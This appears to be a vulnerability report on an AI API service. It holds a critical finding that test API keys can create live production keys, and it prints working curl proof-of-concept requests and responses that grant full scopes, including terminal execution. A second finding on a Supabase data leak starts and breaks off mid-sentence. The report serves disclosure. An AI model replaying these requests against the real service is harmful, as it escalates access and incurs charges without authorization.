C-01: Test API Key → Live API Key Privilege Escalation (CRITICAL) VERIFIED

Description

A test API key (sk-coasty-test-*) — documented as returning "in-memory mocks; identical request/response shape; no real VMs spun up" and "never debit your balance" — can be used to create LIVE production API keys (sk-coasty-live-*). This completely breaks the test-production isolation model.

The /v1/keys endpoint does not restrict key creation to the same key_kind as the authenticating key. A test key can create live keys with any scope that provision real cloud VMs, access real data, and incur real billing charges.

Proof of Concept

Request (using test key):

curl -s -X POST "<https://coasty.ai/v1/keys>" \
  -H "X-API-Key: sk-coasty-test-b8251..." \
  -H "Content-Type: application/json" \
  -d '{"name":"pwned-key","scopes":["predict","session","ground","parse","machines:read","machines:write","connection:read","keys","usage"]}'

Response (LIVE key returned):

{
  "key": "sk-coasty-live-b9e6c72c...",
  "key_id": "dc578e36a3382162",
  "name": "pwned-key",
  "tier": "free",
  "scopes": [
    "predict", "session", "ground", "parse",
    "machines:read", "machines:write", "connection:read", "keys", "usage"
  ],
  "created_at": "2026-07-11T20:01:19.700981"
}

Escalation to full access (test key creates live key with ALL scopes):

curl -s -X POST "<https://coasty.ai/v1/keys>" \
  -H "X-API-Key: sk-coasty-test-b8251d727...." \
  -H "Content-Type: application/json" \
  -d '{"name":"pwned-full-access","scopes":["predict","session","ground","parse","runs:read","runs:write","workflows:read","workflows:write","machines:read","machines:write","connection:read","snapshots:write","files:read","files:write","terminal:exec","browser:execute","schedules:read","schedules:write","triggers:write","keys","usage"]}'

Response:

{
  "key": "sk-coasty-live-09b373d6347470bf.....",
  "key_id": "3f44fea85dbcd2ff",
  "name": "pwned-full-access",
  "tier": "free",
  "scopes": [ ...21 scopes... ],
  "created_at": "2026-07-11T20:02:59.615638"
}

Impact


C-02: Supabase Data Leak — Public Chats Exposed via Anon Key (HIGH) VERIFIED

Description

The Supabase anon key is statically embedded in the client-side JavaScript bundle (55166-*.js) — standard Supabase practice. RLS policies on chats and messages tables allow the anon role to read rows where public = true. This means: